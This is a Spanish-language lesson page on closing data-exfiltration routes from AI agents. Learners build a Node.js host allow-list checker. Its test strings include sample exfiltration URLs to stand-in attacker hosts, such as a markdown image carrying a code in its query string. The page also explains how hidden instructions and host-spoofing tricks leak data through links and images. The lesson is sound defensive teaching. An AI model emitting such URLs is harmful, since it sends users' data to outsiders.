¿Te resulta más fácil leer con fondo crema, un tono de color, más contraste o un texto más grande? Elige tus colores y tu texto una sola vez, para todas las páginas.

Lección gratuita

Evitar la exfiltración en agentes de IA

Después de esta lección: Puedo cerrar las rutas por las que salen los datos de un agente, con una lista de destinos permitidos que el código comprueba.

Lección de 65 min9 comandosLaboratorio de agente de programación con IA: usa opencode para explicar y corregir código, y comprueba su trabajo

Cómo salen datos de un agente de IA

La exfiltración es la salida de datos por una ruta que su dueño no previó. Un agente tiene más rutas que un chat: enlaces en sus respuestas, imágenes, llamadas a herramientas y peticiones web.

El módulo Proteger aplicaciones con LLM trata la inyección. Esta lección cierra las salidas, para que una orden oculta en una página no tenga adónde enviar lo que el agente sabe.

Al final de esta lección

Nota

Puedo cerrar las rutas por las que salen los datos de un agente, con una lista de destinos permitidos que el código comprueba.

Palabras clave

PalabraQué significaEjemplo
Exfiltracióndatos que salen por una ruta que el dueño no previó
Lista de permitidoslos únicos destinos autorizados, con todos los demás rechazadosdocs.ejemplo.es
Hostel nombre del servidor en un enlace, entre // y la siguiente /
Cadena de consultala parte de un enlace tras el signo de interrogación, que puede llevar datos
Tráfico de salidael tráfico que sale de tu sistema hacia otro

Las celdas que rellenan los estudiantes quedan en blanco en esta vista previa.

Cuatro rutas por las que salen datos

Un enlace en la respuesta: el usuario hace clic y la dirección lleva datos. Una imagen en la respuesta: el navegador la carga solo, así que los datos salen sin clic.

Una llamada a herramienta: una petición del agente con datos en sus argumentos. Un nombre de archivo o un mensaje enviado a una herramienta de chat o de correo.

Las cuatro ponen datos en un destino o en un mensaje. Comprueba adónde va cada una.

Ejemplo resuelto: ruta y control

RutaCómo salen los datosEl control
EnlaceEn la cadena de consulta o en la rutaEl host está en la lista de permitidos
ImagenEl navegador la carga de inmediatoEl mismo control del host, o ninguna imagen
Herramienta de peticiones webEn la dirección o en el cuerpoHost en la lista, y método limitado
Herramienta de chat o correoEn el texto del mensajeDestinatario en la lista

Las celdas que rellenan los estudiantes quedan en blanco en esta vista previa.

El Run comprueba enlaces, no envía nada

El primer script guarda cuatro salidas inventadas. Encuentra cada enlace y lee su host. Luego compara el host con una lista de permitidos.

No se descarga nada. Las direcciones son inventadas y el script solo las lee. Fíjate en cómo se escribe el enlace de imagen: empieza por un signo de exclamación, que el script construye con un código de carácter.

Escribe el comprobador de enlaces, parte 1

Comando
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const allowed = [\"docs.ejemplo.es\", \"ayuda.ejemplo.es\"];' 'const bang = String.fromCharCode(33);' 'const outputs = [' '  \"Mira la guía en https://docs.ejemplo.es/inicio para los pasos.\",' '  \"Hecho. \" + bang + \"[logo](https://imagenes.atacante.ejemplo/p.png?d=ANA-4411)\",' '  \"Abre [el formulario](https://ayuda.ejemplo.es/formulario) para seguir.\",' '  \"Pulsa https://rastreo.ejemplo.net/c?nota=secreto para confirmar.\",' '];' > egress.js"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Escribe el comprobador de enlaces, parte 2

Comando
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' '  return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' '  const found = [];' '  for (const word of text.split(\" \")) {' '    const at = word.indexOf(\"http\");' '    if (at >= 0) found.push(word.slice(at).split(\")\")[0]);' '  }' '  return found;' '}' 'for (const text of outputs) {' '  for (const url of urlsIn(text)) {' '    const ok = allowed.includes(hostOf(url));' '    const query = url.includes(\"?\") ? \"  (lleva una consulta)\" : \"\";' '    console.log((ok ? \"permitido  \" : \"BLOQUEADO  \") + hostOf(url) + query);' '  }' '}' >> egress.js"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Ejecuta el comprobador de enlaces

Comando
docker exec -w /home/node/project agent node egress.js

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Lo que imprime el script

LíneaLo que muestra
permitido docs.ejemplo.esEl host está en la lista
BLOQUEADO imagenes.atacante.ejemplo (lleva una consulta)Una imagen a un desconocido, con datos en la dirección
permitido ayuda.ejemplo.esUn enlace a un host de la lista
BLOQUEADO rastreo.ejemplo.net (lleva una consulta)Un host que nadie incluyó

Las celdas que rellenan los estudiantes quedan en blanco en esta vista previa.

Compara el host entero, exactamente

Comprobar que un enlace empieza por el nombre permitido es demasiado débil. El enlace docs.ejemplo.es.atacante.ejemplo empieza así y va a otra parte.

Un enlace también puede llevar un nombre antes de una arroba. En [email protected], el host real es lo que va tras la arroba. Extrae el host y compáralo entero.

Un error frecuente

Advertencia

Muchos escriben una lista negra de hosts malos. Los atacantes tienen infinitos nuevos. Lista lo permitido y rechaza el resto, en el código, antes de mostrar la respuesta.

Escribe el script del modelo, parte 1

Comando
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const { ask } = require(\"./model\");' '' 'const allowed = [\"docs.ejemplo.es\", \"ayuda.ejemplo.es\"];' 'const messages = [' '  { role: \"system\", content: \"Ayudas a los usuarios de un producto de software. Responde en una frase con un solo enlace markdown a https://docs.ejemplo.es/ayuda.\" },' '  { role: \"user\", content: \"¿Dónde encuentro ayuda?\" },' '];' '// Muestra grabada, usada solo cuando ningún modelo responde.' 'const sample = \"Puedes encontrar ayuda en [la guía](https://docs.ejemplo.es/ayuda).\";' > egress2.js"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Escribe el script del modelo, parte 2

Comando
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' '  return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' '  const found = [];' '  for (const word of text.split(\" \")) {' '    const at = word.indexOf(\"http\");' '    if (at >= 0) found.push(word.slice(at).split(\")\")[0]);' '  }' '  return found;' '}' >> egress2.js"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Escribe el script del modelo, parte 3

Comando
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'async function main() {' '  const reply = await ask(messages, sample, 80);' '  console.log(\"Respuesta: \" + reply);' '  const urls = urlsIn(reply);' '  console.log(\"Enlaces encontrados: \" + urls.length);' '  for (const url of urls) {' '    console.log((allowed.includes(hostOf(url)) ? \"permitido  \" : \"BLOQUEADO  \") + hostOf(url));' '  }' '}' 'main();' >> egress2.js"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Escribe el ayudante del modelo, parte 1

Comando
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const base = process.env.AI_URL || \"http://ai:4000\";' 'async function ask(messages, sample, max) {' '  try {' '    const res = await fetch(base + \"/v1/chat/completions\", {' '      method: \"POST\",' '      headers: { \"content-type\": \"application/json\", authorization: \"Bearer lab\" },' '      body: JSON.stringify({ model: \"lab\", messages: messages, max_tokens: max || 200 }),' '      signal: AbortSignal.timeout(30000),' '    });' '    if (res.ok === false) throw new Error(\"estado \" + res.status);' '    return (await res.json()).choices[0].message.content;' > model.js"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Escribe el ayudante del modelo, parte 2

Comando
docker exec -w /home/node/project agent sh -c "printf '%s\n' '  } catch (error) {' '    console.log(\"Muestra grabada: ningún modelo respondió (\" + error.message + \").\");' '    const list = [].concat(sample);' '    const turn = messages.filter(function (m) { return m.role === \"assistant\"; }).length;' '    return list[Math.min(turn, list.length - 1)];' '  }' '}' 'module.exports = { ask };' >> model.js"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Ejecútalo con el modelo

Comando
docker exec -w /home/node/project agent node egress2.js

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Una posible salida

LíneaLo que puede mostrar
RespuestaUna frase con un enlace. Las palabras cambian en cada ejecución
Enlaces encontradosNormalmente 1. El programa cuenta lo que contenga la respuesta
permitido o BLOQUEADOpermitido cuando el host está en la lista. BLOQUEADO para cualquier otro host
Muestra grabadaSe imprime primero cuando ningún modelo respondió. El script sigue con la muestra

Las celdas que rellenan los estudiantes quedan en blanco en esta vista previa.

Sobre este laboratorio y su código: Laboratorio de agente de programación con IA: usa opencode para explicar y corregir código, y comprueba su trabajo

¿Enseñas a una clase? Asigna este módulo a tus alumnos con guía del profesor, tareas con corrección automática y un laboratorio para cada alumno.